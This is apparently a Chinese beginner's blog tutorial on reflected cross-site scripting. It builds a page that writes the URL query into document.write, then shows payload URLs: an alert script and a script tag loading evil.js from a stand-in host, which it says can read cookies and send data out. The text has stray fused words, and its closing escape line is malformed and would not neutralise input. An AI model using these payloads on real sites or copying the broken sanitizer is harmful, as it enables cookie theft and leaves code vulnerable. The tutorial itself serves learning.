xss
跨站腳本,稱爲xss這個術語用來表示一類的安全問題,指攻擊者向目標web站點注入html標籤或者腳本。html
substring 返回介於二者之間的字符串,若是省去最後一個參數,則直接以length爲填充window.location.search 返回/後面內容包括問號web
返回?後面的參數
window.location.search.substring(1)sqldecodeURIComponent() 將url進行解碼,返回解碼後的utf-8格式chrome
<!doctype html> <html> <head> <title>這是標題</title> <meta charset="utf-8"> </head> <body> <script> var name = decodeURIComponent(window.location.search.substring(1)); // 獲取參數 console.log(name); document.write("hello " + name); </script> </body> </html>
訪問跨域
http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地靜態服務器的搭建,使用host文件,強制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的綁定,由於js腳本不能本地運行,由於有跨域的限制
頁面輸出瀏覽器
hello word
這是一個灰常正經的頁面。
下面若是嘗試輸入安全
http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script
事實上如今的瀏覽器很智能了。。已經自動解析了。已經自動暫停解析了,最後加上%3e被瀏覽器攔截,自動的,去掉之後,因爲容錯機制,自動生成
好吧,要不是這容錯機制,xss還無法實驗呢。無奈,如今太智能了,小白的手法,已經不行嘍服務器
<script> </script>
致使能容許。好吧,去掉自動攔截,chrome直接禁止訪問了。╮(╯▽╰)╭
https://developer.mozilla.org...
使用的是預解析,自動平衡樹cookie
此時script變身成爲xss
document.write('hello ' + <script>alert("David")</script)
好啦,接着,就會出現一個彈窗,David
由於使用這個url自動生成一個另一個腳本,因爲瀏覽器自動的安全措施,因此使用瀏覽器頁面預解析,寫一個不平衡的樹,初始瀏覽器解析的時候自動添加上
<script> </script>
事實上,如今基本上都會屏蔽掉的,和sql注入同樣,都是很是小白的攻擊手法。╮(╯▽╰)╭
致使出現彈窗,xss完成
接着下面還有
使用src引入一個腳本。
http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E
這樣就完成了一次腳本的注入。會將其餘站點的腳本,經過鏈接進行注入。
能夠對該站點的內容作任何的操做,以及讀取cookie,以及將數據發送回站點
事實上瀏覽器插件就是這樣乾的,在頁面中加入js腳本,經過更改頁面的js來達到對頁面修改的目的
更多內容 https://www.ibm.com/developer...
經過使用replace()所有替換爲實體便可。
name = name.replace(/</g, "<"),replace(/>/g, ">");
xss和sql注入同樣,屬於小白攻擊法,要說簡單也很簡單,要說難也很難
若是一個站點無限彈窗,瀏覽器會卡死。包括使用js挖礦什麼的,都不值得一提了。